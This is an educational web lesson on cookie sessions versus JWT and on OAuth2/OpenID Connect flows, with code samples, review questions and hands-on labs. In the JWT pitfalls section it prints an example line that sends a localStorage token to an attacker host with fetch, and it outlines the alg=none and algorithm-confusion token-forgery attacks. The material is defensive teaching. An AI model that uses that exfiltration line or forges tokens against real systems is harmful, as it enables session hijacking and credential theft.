devHọc Dev

Week 1 - Day 4: Sessions vs JWT, OAuth2 and OpenID Connect

Week 1 – Day 4

This lesson combines 2 topics: Sessions vs JWT, OAuth2 & OpenID Connect.

Learning Objectives

  • Understand how a cookie session (server-side state) works and the security flags Secure, HttpOnly, SameSite
  • Understand the structure of a JWT (header.payload.signature) and the difference between HS256 and RS256
  • Recognize common JWT pitfalls: alg=none, weak secret, no expiry, storing it in localStorage
  • Apply refresh token rotation and understand the token revocation problem
  • Decide when to use sessions and when to use JWT
  • Distinguish authentication (OIDC) from authorization (OAuth2)
  • Understand the 4 OAuth2 grant types and pick the right one for each use case
  • Master the Authorization Code + PKCE flow, today's default for web/mobile/SPA
  • Distinguish Access Token vs ID Token, scope vs audience
  • Integrate with popular providers: Google, Auth0, Clerk, AWS Cognito

Part 1: Sessions vs JWT

Basic flow

┌────────┐┌─────────┐┌──────────┐│Browser││Server││Session││││││Store│└───┬────┘└────┬────┘└────┬─────┘││││POST/login{email,password}│││─────────────────────────────────────────────►││││CREATE│││session_id│││─────────────►│││││Set-Cookie:sid=abc123;HttpOnly;Secure│││◄─────────────────────────────────────────────││││││GET/meCookie:sid=abc123│││─────────────────────────────────────────────►││││LOOKUP│││─────────────►│││◄──userdata││200OK{user:{...}}│││◄─────────────────────────────────────────────││

What does the server store?

Redis/Postgres/MemoryStore:┌────────────────────────────────────────────┐│session_id→{user_id:42,││"abc123..."created:...,expires:...,││ip:"...",roles:[...]}│└────────────────────────────────────────────┘

The cookie only contains the session_id (random, ~128-bit, no other information). All state lives on the server.

Set-Cookie: sid=abc123;
  HttpOnly;                  ← JS cannot read it → prevents XSS from stealing the cookie
  Secure;                    ← Only sent over HTTPS → prevents MITM
  SameSite=Lax;              ← Not sent cross-site → prevents CSRF
  Path=/;
  Max-Age=3600;
  Domain=app.example.com
FlagEffectRecommendation
HttpOnlyCookie cannot be accessed via document.cookieMandatory
SecureOnly sent over HTTPSMandatory (production)
SameSite=StrictNot sent with any cross-site requestMost secure, may break UX when users arrive via a link from Google
SameSite=LaxSent with top-level GET navigation, not with cross-site POSTGood default (Chrome 80+ default)
SameSite=NoneAllows cross-site (MUST be paired with Secure)Only when needed (cross-origin embed)

Session fixation attack

1. Attacker visits the site, server issues sid=AAA
2. Attacker lures the victim into clicking a link with sid=AAA (via URL or an XSS that sets the cookie)
3. Victim logs in → server binds sid=AAA to the victim's user
4. Attacker uses sid=AAA → logged in as the victim

Prevention: regenerate the session ID after login (req.session.regenerate() in Express).

Session pros / cons

ProsCons
Easy to revoke: delete the entry in the storeNeeds a session store (Redis/DB) → more complex infra
Small cookie (id only)Not trivially stateless → hard to scale across regions
Can hold large data server-sideDepends on cookies → awkward for native mobile, cross-domain
Mature, well-understoodRequires CSRF protection (CSRF token)

2. JWT — JSON Web Token

Structure

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsImV4cCI6MTcwMDAwMDAwMH0.signature└────────header─────────────────┘└───────────payload──────────────────┘└─signature─┘base64urlbase64urlbase64urlHeader(decoded):{"alg":"HS256","typ":"JWT"}Payload(decoded):{"sub":"12345",←subject=userid"iat":1700000000,←issuedat"exp":1700003600,←expiry(1h)"aud":"https://api.example",←audience"iss":"https://auth.example",←issuer"roles":["user"]}Signature:HMAC-SHA256(base64url(header)+"."+base64url(payload),secret)

Standard claims (RFC 7519)

ClaimMeaningExample
issIssuer — who issued it"https://auth.example.com"
subSubject — user id"user_42"
audAudience — which service the token is for"https://api.example.com"
expExpiration time (Unix ts)1700003600
iatIssued at1700000000
nbfNot before1700000000
jtiJWT ID — unique id (for revocation)"uuid-v4"

HS256 vs RS256

HS256 (HMAC-SHA256):           RS256 (RSA-SHA256):
                                
Issuer:                         Issuer:
  sign with SHARED_SECRET         sign with PRIVATE_KEY
                                
Verifier:                       Verifier:
  verify with SHARED_SECRET       verify with PUBLIC_KEY
  (same secret as issuer)         (publishable)
HS256RS256
Key typeSymmetric (shared secret)Asymmetric (private/public)
Who can verifyOnly whoever holds the secretAnyone with the public key
Use caseThe same service issues + verifiesMany microservices verify tokens issued by an auth-service
Token sizeSmallerLarger (longer signature)
When compromisedLost secret → forged tokens possibleLost private key → forged tokens possible; a leaked public key is harmless

Microservices should use RS256 + publish jwks.json so other services can verify without sharing a secret.

Typical JWT flow

┌────────┐┌──────────┐┌──────────────┐│Browser││AuthSvc││ResourceAPI│└───┬────┘└────┬─────┘└──────┬───────┘││││POST/login{email,password}│││───────────────────────────────────────►││││signJWT││{access_token:"eyJ..."}│││◄───────────────────────────────────────││││││GET/api/orders│││Authorization:BearereyJ...│││──────────────────────────────────────────────────────────────►│││verifysignature│││checkexp,aud││200OK{orders:[...]}│││◄──────────────────────────────────────────────────────────────│

The Resource API does not need to call a DB / the auth service to verify; it only verifies the signature and checks the claims. That is JWT's main appeal.

3. JWT Pitfalls

Pitfall 1: alg=none attack

// Attacker crafts their own JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = ""   // left empty

// If the library accepts alg=none → this token passes verification

Prevention:

  • Whitelist the allowed alg: jwt.verify(token, secret, { algorithms: ["HS256"] })
  • NEVER let the user control alg

Pitfall 2: Algorithm confusion (RS256 → HS256)

// Server holds an RSA public key, expects to verify RS256
// Attacker changes the header to alg=HS256
// Old libraries: use the public key as the HMAC secret
// → the public key is public → attacker knows it → can sign forged tokens

Prevention: always whitelist algorithms: ["RS256"] instead of trusting the header.

Pitfall 3: Weak HMAC secret

// ❌ WRONG
const secret = "secret";          // brute forced in 1 second
const secret = "myapp_secret";    // dictionary attack
const secret = "abc123";

// ✅ RIGHT: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// or use RS256 with a key pair

Tools like hashcat / jwt_tool can brute force a weak HMAC secret from a public token.

Pitfall 4: No expiry / too long

// ❌ WRONG
{ "sub": "u1" }                    // no exp → immortal token
{ "sub": "u1", "exp": +30 days }   // too long for an access token

// ✅ RIGHT
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate on every use

Pitfall 5: Storing JWT in localStorage

// ❌ WRONG — readable by XSS
localStorage.setItem("token", jwt);

// Any <script> (including a compromised 3rd-party CDN) can:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
StorageReadable by XSSCSRFNotes
localStorageYesNoDangerous with XSS
sessionStorageYesNoSame as localStorage
HttpOnly cookieNoYes (needs SameSite)Most secure for JWT
Memory (JS variable)Yes, but lost on reloadNoOK for a short-lived access token

Recommendation: an HttpOnly; Secure; SameSite=Lax cookie. If you must keep it in JS, keep only a short-lived access token there + the refresh token in a cookie.

Pitfall 6: Token bloat

// ❌ WRONG: stuffing the whole user profile into the payload
{
  "sub": "u1",
  "email": "...",
  "first_name": "...",
  "address": "...",
  "permissions": [/* 200 items */]
}

The JWT payload travels with every request → more bandwidth. It should only contain sub, exp, iat, and short role IDs.

4. Refresh Token Rotation

The problem: token revocation

A stateless JWT cannot be "deleted" from the server. If the user logs out / loses a device / the token leaks:

  • The token stays valid until exp
  • You need a way to invalidate it

Pattern: short access + long refresh, rotate refresh

1. Login → issue:
   access_token  (exp = 15 min)   ← sent with every request
   refresh_token (exp = 30 days)  ← used to obtain a new access token

2. Access expires → call /refresh with the refresh_token:
   - Server verifies the refresh_token
   - Issues a new access_token
   - Issues a new refresh_token (rotate)
   - Invalidates the old refresh_token (marked in the DB)

3. If an attacker steals the refresh_token and uses it:
   - The first use may succeed once
   - When the real user uses the old refresh_token → server detects it was already used
   - → Revoke all of the user's sessions (force re-login)

Lifetime comparison

Token typeLifetimeStored whereRevocation
Access token (JWT)5-15 minutesMemory / HttpOnly cookieWait for exp
Refresh token7-30 daysHttpOnly cookie (path=/refresh)Stored in DB, rotated, revocable
Session id30 daysHttpOnly cookieDelete the entry in the store

Revocation list (denylist)

For cases where you need to revoke an access token before it expires:

  • Store the jti of revoked tokens in Redis with TTL = exp
  • On every request: verify the JWT + check the Redis denylist
  • Trade-off: you lose statelessness

5. When to use Session vs JWT?

CriterionSession (cookie)JWT
Single web app, same domainYes (simple, secure)Overkill
SPA + REST API on the same domainYes (HttpOnly cookie)OK, but be careful with storage
Native mobile (iOS/Android)Hard (cookies are awkward)Yes (Bearer token)
Multi-region microservicesSession store is hard to scaleYes (RS256 + JWKS)
Third-party API access—Yes (OAuth2 access token)
Need immediate revocationYes (delete the session)Hard (needs a denylist)
Need simplicity, little infraYesMore complex
Cross-domain SSOHardYes (OIDC ID token)

Practical rule: for a same-origin web app, use a cookie session. For mobile / SPA + multi-service / SSO, use JWT (best practice: access token in memory, refresh token in an HttpOnly cookie).

6. Code examples

Express session with Redis

import express from "express";
import session from "express-session";
import { RedisStore } from "connect-redis";
import { createClient } from "redis";

const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();

const app = express();
app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,   // for signing cookie
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === "production",
    sameSite: "lax",
    maxAge: 1000 * 60 * 60,             // 1h
  },
}));

app.post("/login", async (req, res) => {
  // verify password ...
  req.session.regenerate(() => {        // prevents session fixation
    req.session.userId = user.id;
    res.json({ ok: true });
  });
});

app.post("/logout", (req, res) => {
  req.session.destroy(() => res.json({ ok: true }));
});

JWT with jose (Node.js)

import { SignJWT, jwtVerify } from "jose";

const secret = new TextEncoder().encode(process.env.JWT_SECRET);   // ≥32 bytes

// Sign
async function signAccessToken(userId, roles) {
  return await new SignJWT({ roles })
    .setProtectedHeader({ alg: "HS256" })
    .setSubject(userId)
    .setIssuer("https://auth.example.com")
    .setAudience("https://api.example.com")
    .setIssuedAt()
    .setExpirationTime("15m")
    .sign(secret);
}

// Verify
async function verifyAccessToken(token) {
  const { payload } = await jwtVerify(token, secret, {
    issuer: "https://auth.example.com",
    audience: "https://api.example.com",
    algorithms: ["HS256"],   // ← the whitelist matters
  });
  return payload;
}

Part 2: OAuth2 & OpenID Connect

1. What OAuth2 is, and what it is not

OAuth2 is a framework for authorization: it lets an application (the Client) access resources on behalf of a user without knowing the user's password.

"OAuth2 is not an authentication protocol"
                              ↑
              (yet many people misuse it that way)

OAuth2 answers: "Is this Client allowed to call API X on behalf of user Y?" It does not answer: "Who is this user?" → that is the job of OIDC.

Real-world example

Spotify wants to import playlists from your YouTube account:

❌ Without OAuth2:
   Spotify asks: "Give me your YouTube password"
   → You hand over your full password → Spotify can read Gmail, delete videos...

✅ With OAuth2:
   Spotify redirects you to Google → you log in with Google →
   Google asks: "Allow Spotify to READ your YouTube playlists?" →
   You approve → Spotify receives an access token ONLY for scope youtube.readonly
   → It never sees your password and cannot read Gmail

The 4 roles in OAuth2

┌──────────────┐┌──────────────────┐│Resource││Authorization││Owner││Server(AS)││(user)││e.g.accounts.││││google.com│└──────────────┘└──────────────────┘┌──────────────┐┌──────────────────┐│Client││ResourceServer││(Spotify)││(RS)││││YouTubeAPI│└──────────────┘└──────────────────┘
RoleWho it is (example)Responsibility
Resource OwnerEnd userOwns the data, approves/denies access
ClientThe developer's appWants to access the user's resources
Authorization ServerGoogle, Auth0, CognitoAuthenticates the user, issues access tokens
Resource ServerThe API holding the dataVerifies the token, returns data according to scope

2. OAuth2 Grant Types

Grant typeUse caseCurrent status
Authorization Code + PKCEWeb app, SPA, mobileDEFAULT
Client CredentialsMachine-to-machine (no user)OK
Refresh TokenRefresh access tokenOK (alongside another grant)
Authorization Code (no PKCE)Server-side confidential webStill used, should add PKCE
Implicit(legacy) SPADEPRECATED (OAuth 2.1)
Resource Owner Password(legacy) trusted first-partyDEPRECATED
Device CodeTV, CLI without a browserOK

Client types

Confidential client: can keep a secret safe
  → Backend server (Node.js, Django, Rails)
  → Stores client_secret in an env var

Public client: CANNOT keep a secret
  → SPA (code is readable from the browser)
  → Mobile app (can be decompiled)
  → CLI tool
  → MUST use PKCE

3. Authorization Code + PKCE Flow

What is PKCE?

PKCE (Proof Key for Code Exchange, RFC 7636) prevents the authorization code interception attack: a malicious app on the same device intercepts the authorization code in the redirect URL.

Before PKCE, only confidential clients could use Authorization Code because it required a client_secret. PKCE replaces the client_secret with a one-time proof → public clients can use it.

How PKCE works

1. The client generates:
   code_verifier  = random 43-128 characters (cryptographically random)
   code_challenge = BASE64URL( SHA256(code_verifier) )

2. Send code_challenge UP with the authorization request
3. When exchanging the code for a token, send code_verifier UP
4. AS verifies: SHA256(code_verifier) == stored code_challenge?
   - If an attacker intercepts the code, they lack code_verifier → cannot exchange it

Full flow (web SPA + PKCE)

Actors:User──►Browser/SPA──►AuthServer──►API(Google/Auth0)Step1—Userclicks"Login"User──►Browser/SPAStep2—Browser/SPAgeneratesPKCE+statecode_verifier=random43-128chars(CSPRNG)code_challenge=BASE64URL(SHA256(code_verifier))state=random(CSRFtoken)Step3—Browser──►AuthServer:GET/authorize?client_id=spa&redirect_uri=https://app/cb&response_type=code&scope=openidprofileemail&state=xyz&code_challenge=abc...&code_challenge_method=S256Step4—AuthServer──►User:login+consentscreenStep5—Userapproves──►AuthServerStep6—AuthServer──►Browser:302redirectLocation:https://app/cb?code=AUTH_CODE&state=xyzStep7—Browser/SPAverifiesstate==xyz(CSRFcheck)Step8—Browser/SPA──►AuthServer:POST/tokengrant_type=authorization_codecode=AUTH_CODEclient_id=sparedirect_uri=https://app/cbcode_verifier=ORIGINAL_VERIFIERStep9—AuthSerververifies:SHA256(verifier)==storedchallenge?Onsuccess──►Browser:{access_token,id_token,refresh_token,expires_in:3600}Step10—Browser/SPA──►API:GET/api/meAuthorization:BearerACCESS_TOKENStep11—APIverifiestokensignature,iss,aud,exp,scopeOnsuccess──►Browser:{userdata}

Important: the state parameter prevents CSRF

// Client generates a random state before redirecting
const state = crypto.randomUUID();
sessionStorage.setItem("oauth_state", state);

// In the callback, verify it
const returnedState = new URL(location).searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
  throw new Error("State mismatch — possible CSRF");
}

4. Client Credentials Grant (M2M)

When there is no user — service A calls service B:

┌─────────┐┌──────────────┐┌─────────┐│Service││AuthServer││Service││A││││B│└────┬────┘└──────┬───────┘└────┬────┘││││POST/token│││grant_type=client_credentials│││client_id=svc-a│││client_secret=...│││scope=orders.read││├───────────────────────────────►││││││{access_token:"..."}│││◄───────────────────────────────┤││││GET/api/orders││Authorization:Bearer...│├─────────────────────────────────────────────────►│

Characteristics:

  • No user, no ID token
  • The client must be confidential (able to keep a secret)
  • Scope limited to M2M

5. OpenID Connect — Identity Layer

OAuth2 answers "who is allowed to access what". OIDC extends it to answer "who is this user".

The key difference

OAuth2alone:ASissues:access_token(opaqueorJWT)→ClientcallsRSOIDC=OAuth2+IDToken:ASissues:access_token+IDToken(JWT)→Clientknowswhotheuseris│└──"Iauthenticateuser_42,email=alice@x.com"

Access Token vs ID Token

Access TokenID Token
PurposeAuthorize API callsAuthenticate the user to the Client
AudienceResource Server (API)Client app
FormatOpaque or JWTAlways a JWT
Does the Client decode itNot requiredYes, reads user claims
Sent whereTo the API via Authorization: BearerUsed only inside the Client
Claimsscope, exp, subsub, email, name, picture, exp

Remember: Do not send the ID Token to an API in a Bearer header. Do not use the ID Token for authorization. The ID Token only tells the Client who the user is.

Standard OIDC scopes

openid          ← MANDATORY to enable OIDC, returns ID token
profile         ← name, family_name, given_name, picture, locale
email           ← email, email_verified
address         ← address claim
phone           ← phone_number, phone_number_verified
offline_access  ← refresh_token

Discovery endpoint

OIDC providers publish metadata at:

https://accounts.google.com/.well-known/openid-configuration

{
  "issuer": "https://accounts.google.com",
  "authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
  "token_endpoint": "https://oauth2.googleapis.com/token",
  "userinfo_endpoint": "https://openidconnect.googleapis.com/v1/userinfo",
  "jwks_uri": "https://www.googleapis.com/oauth2/v3/certs",
  "response_types_supported": ["code", "token", ...],
  "id_token_signing_alg_values_supported": ["RS256"]
}

OIDC libraries fetch this endpoint automatically → developers do not hardcode URLs.

6. Scope vs Audience

Scope — permissions

scope="openidprofileemailorders.readorders.write"│└──permissionforthe"orders"API

The user sees a consent screen listing the scopes → approves each one. The Resource Server checks the scope in the access token to allow the operation.

Audience — who the token is for

{
  "iss": "https://auth.example.com",
  "sub": "user_42",
  "aud": "https://api.orders.example.com",   ← only this API should accept it
  "scope": "orders.read"
}

The Resource Server MUST verify the aud claim:

// ❌ WRONG: only verifies the signature
jwt.verify(token, publicKey);

// ✅ RIGHT: verifies the audience
jwt.verify(token, publicKey, {
  audience: "https://api.orders.example.com",
  issuer: "https://auth.example.com",
});

Without verifying aud → a token meant for API A can be replayed against API B → confused deputy attack.

ProviderTypeCharacteristics
GoogleOIDC, freePopular for social login
GitHubOAuth2 (not standard OIDC)For developer tools, has its own userinfo
Auth0OIDC, SaaSCustomizable, expensive at large scale
ClerkOIDC + UI componentsGreat DX for Next.js, free tier 10k MAU
AWS CognitoOIDCDeep AWS integration, weaker UX
KeycloakOIDC, self-hostedOpen source, full control
OktaOIDC enterpriseEnterprise SSO
Microsoft Entra IDOIDCAzure AD, B2B/B2C

When to build your own vs use a provider?

USE A PROVIDER when:
- Team < 50 devs, no dedicated security engineer
- You need social login (Google/Facebook/Apple)
- Time-to-market matters
- Compliance (SOC2, HIPAA) — the provider is already certified

BUILD YOUR OWN when:
- You have special compliance requirements (gov, classified)
- Extremely high volume (provider cost > engineer cost)
- You have a security team
- You need to fully customize the flow

8. Code examples

Node.js with openid-client

// npm install openid-client
import * as client from "openid-client";

// 1. Discovery
const config = await client.discovery(
  new URL("https://accounts.google.com"),
  process.env.CLIENT_ID,
  process.env.CLIENT_SECRET   // omit for a public client
);

// 2. Build authorization URL
const codeVerifier = client.randomPKCECodeVerifier();
const codeChallenge = await client.calculatePKCECodeChallenge(codeVerifier);
const state = client.randomState();

const authUrl = client.buildAuthorizationUrl(config, {
  redirect_uri: "https://app.example.com/callback",
  scope: "openid profile email",
  code_challenge: codeChallenge,
  code_challenge_method: "S256",
  state,
});

// Store codeVerifier + state in the session, redirect the user

// 3. In the callback handler
const tokens = await client.authorizationCodeGrant(config, currentUrl, {
  pkceCodeVerifier: codeVerifier,
  expectedState: state,
});

// tokens.access_token, tokens.id_token, tokens.refresh_token
const claims = tokens.claims();
console.log("User:", claims.sub, claims.email);

SPA with PKCE (browser flow)

// 1. Generate PKCE pair
async function sha256(str) {
  const buf = new TextEncoder().encode(str);
  const hash = await crypto.subtle.digest("SHA-256", buf);
  return btoa(String.fromCharCode(...new Uint8Array(hash)))
    .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
}

const verifier = crypto.randomUUID() + crypto.randomUUID();
const challenge = await sha256(verifier);
const state = crypto.randomUUID();

sessionStorage.setItem("pkce_verifier", verifier);
sessionStorage.setItem("oauth_state", state);

// 2. Redirect
const params = new URLSearchParams({
  client_id: "spa-client",
  redirect_uri: "https://app/callback",
  response_type: "code",
  scope: "openid profile email",
  code_challenge: challenge,
  code_challenge_method: "S256",
  state,
});
location.href = `https://auth.example.com/authorize?${params}`;

// 3. Callback handler
const url = new URL(location);
const code = url.searchParams.get("code");
const returnedState = url.searchParams.get("state");
if (returnedState !== sessionStorage.getItem("oauth_state")) {
  throw new Error("State mismatch");
}

const res = await fetch("https://auth.example.com/token", {
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    grant_type: "authorization_code",
    client_id: "spa-client",
    code,
    redirect_uri: "https://app/callback",
    code_verifier: sessionStorage.getItem("pkce_verifier"),
  }),
});
const tokens = await res.json();

Review Questions

  1. Why does a cookie holding a session id need all 3 flags HttpOnly, Secure, SameSite?

    Show answer

    Each flag blocks a different attack: HttpOnly → JS cannot read document.cookie, so XSS cannot steal the session id. Secure → the cookie is only sent over HTTPS, preventing man-in-the-middle eavesdropping on public Wi-Fi. SameSite=Lax/Strict → the cookie is not sent with cross-site POST requests, preventing CSRF. Missing any one of the three leaves an attack vector open.

  2. How does the JWT alg=none attack work and how do you prevent it?

    Show answer

    The attacker creates a JWT with header {"alg":"none"} and an empty signature. Old (or misconfigured) JWT libraries trust the header and accept an unsigned token → the attacker can impersonate any user. Prevention: always whitelist the algorithm when verifying, e.g. jwt.verify(token, secret, { algorithms: ["HS256"] }). NEVER read alg from the header to choose how to verify.

  3. What is the core difference between HS256 and RS256, and when should you use RS256?

    Show answer

    HS256 uses a symmetric secret: the issuer and verifier share the same secret → only suitable when the same service issues and verifies. RS256 uses a key pair (private/public): the issuer signs with the private key, verifiers use the public key (published via JWKS) → many microservices can verify without sharing a secret. Use RS256 for microservices, SSO, OIDC. Use HS256 for a simple monolith.

  4. Why is storing a JWT in localStorage risky, and what is the alternative?

    Show answer

    localStorage is accessible from JavaScript → any XSS (including via a compromised npm package or a hacked CDN) can read the token and exfiltrate it. The best alternative: an HttpOnly; Secure; SameSite=Lax cookie for the refresh token (JS cannot read it) + a short-lived access token (5-15 minutes) in JS memory. When the tab closes, the access token is gone → you need to refresh, and the refresh token sits safely in the cookie.

  5. How does refresh token rotation detect a stolen token?

    Show answer

    Every time a refresh token is used to obtain a new access token, the server invalidates the old refresh token (marks it used in the DB) and issues a new one. If an attacker steals the refresh token and uses it before the real user, the attacker gets a new token, but when the real user uses the old refresh token, the server sees it was already used → knows there is an attack → revokes all of the user's sessions, forcing re-login. This pattern detects compromise on its own without the user having to report it.

  6. How do OAuth2 and OIDC differ? If you only need "social login" to know who the user is, which one do you use?

    Show answer

    OAuth2 is a framework for authorization: the Client asks the user for permission to access resources. It does not define user identity and has no standard way to know "who the user is". OIDC builds on OAuth2 and adds the ID Token (JWT) containing user claims (sub, email, name) → you know who the user is. For social login, always use OIDC (scope openid + get the ID token). Use plain OAuth2 to call a third party's API on behalf of the user (Spotify reading YouTube playlists).

  7. Why must an SPA today use PKCE instead of the Implicit grant?

    Show answer

    The Implicit grant returns the access token directly in the URL fragment → the token leaks via browser history, the referer header, proxy server logs. There is no protection against code interception on the same device. Authorization Code + PKCE returns a short-lived code (one-time use) that is exchanged for a token via a separate POST. PKCE replaces client_secret with a one-time code_verifier → public clients (SPA, mobile) stay secure. OAuth 2.1 officially deprecates Implicit.

  8. Can an ID Token be used to call an API? Why?

    Show answer

    No. The ID Token has aud = the client app, not the API. It only proves "user X authenticated to client Y" for the client's benefit. Sending the ID token to an API is an anti-pattern because: (1) an API should not trust a token whose aud is not itself, (2) the ID Token often contains sensitive information (email, name) that should not travel with every API call, (3) the ID Token often has a longer lifetime than the access token. Always use the access token for API calls.

  9. Which claims of a JWT access token must a Resource Server verify?

    Show answer

    At minimum: (1) Signature, verified with the public key from the AS's JWKS endpoint, (2) iss, the issuer must be a trusted AS, (3) aud, the audience must be this RS (prevents confused deputy: a token for API A used against API B), (4) exp, not yet expired, (5) scope, sufficient permission for the operation. Optional: nbf (not before), jti (check a denylist if you need revocation). Skipping any of the first 5 is a vulnerability.

  10. When do you use the Client Credentials grant?

Show answer

When there is no user: machine-to-machine. Examples: backend service A (triggered by cron) calls service B's API; an ETL data pipeline calls a public API; vendor X's webhook backend pushes data to your API. The client must be confidential (able to keep a client_secret). There is no ID token and no refresh token. The token usually has limited M2M scope (e.g. analytics.read). DO NOT use it for user-facing apps because it cannot capture user consent.

Hands-on Exercises

Part 1: Sessions vs JWT

# 1. Decode a JWT by hand
# Grab a JWT (from the jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"

# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}

# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}

# 2. Sign your own JWT with jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose

cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";

const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");

const jwt = await new SignJWT({ role: "user" })
  .setProtectedHeader({ alg: "HS256" })
  .setSubject("user-42")
  .setIssuedAt()
  .setExpirationTime("15m")
  .sign(secret);

console.log(jwt);
EOF

node sign.mjs

# 3. Open https://jwt.io, paste the token, observe the decoded parts

# 4. Try the alg=none attack:
# - Create a new JWT with header alg=none
# - Drop the signature
# - Verify with a library → observe that a modern library (jose) rejects it

# 5. Set up an Express session with Redis
docker run -d -p 6379:6379 redis
# Express session demo code is in section 6; inspect the cookie with DevTools

Part 2: OAuth2 & OpenID Connect

# 1. Register a Google OAuth client
# - Go to https://console.cloud.google.com/apis/credentials
# - Create an OAuth client ID, type = Web application
# - Authorized redirect URIs: http://localhost:3000/callback

# 2. Set up a demo with openid-client
mkdir oidc-lab && cd oidc-lab
npm init -y
npm install openid-client express

# 3. Create the demo server (see the code in section 8)

# 4. In the callback, print:
# - access_token (sent to the API)
# - id_token (decode at jwt.io, look at the sub, email, name claims)
# - refresh_token (if you requested offline_access)

# 5. Verify the ID token signature
# - Fetch Google's jwks_uri
# - Verify the ID token with the jose library
# - Verify aud == client_id, iss == "https://accounts.google.com"

# 6. Try the Auth0 free tier:
# - Sign up at auth0.com
# - Create an Application of type = SPA (PKCE will be enforced)
# - Use @auth0/auth0-spa-js in the frontend

# 7. Inspect the discovery endpoint:
curl https://accounts.google.com/.well-known/openid-configuration | jq
curl https://YOUR_DOMAIN.auth0.com/.well-known/openid-configuration | jq

References


Next lesson →